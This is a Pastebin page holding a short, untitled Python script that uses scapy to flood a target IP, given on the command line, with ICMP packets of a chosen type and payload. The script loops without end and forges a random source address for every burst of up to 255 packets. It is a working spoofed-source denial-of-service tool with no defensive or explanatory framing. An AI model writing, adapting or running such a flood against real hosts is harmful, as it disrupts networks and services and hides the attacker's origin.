Advertisement
Guest User

Untitled

a guest
May 20th, 2018
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.50 KB | None | 0 0
  1. import scapy.all as scapy
  2. import sys
  3. import os
  4. import socket
  5. import struct
  6. import random
  7.  
  8. i=scapy.IP()
  9. c=scapy.ICMP()
  10. e=scapy.Ether()
  11. IPdst=sys.argv[1]
  12. #IPsrc=os.environ['IP']
  13. #IPsrc=sys.argv[2]
  14. ICMP_type=int(sys.argv[2])
  15. pay=sys.argv[3]
  16. #plen=int(sys.argv[4])
  17.  
  18. i.dst=IPdst
  19. i.proto=1
  20. #i.len=plen
  21. #i.options=pay
  22. c.type=ICMP_type
  23. while True:
  24.     IPsrc=socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
  25.     i.src=IPsrc
  26.     scapy.sendp(e/i/c/pay, count=random.randint(1,255))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement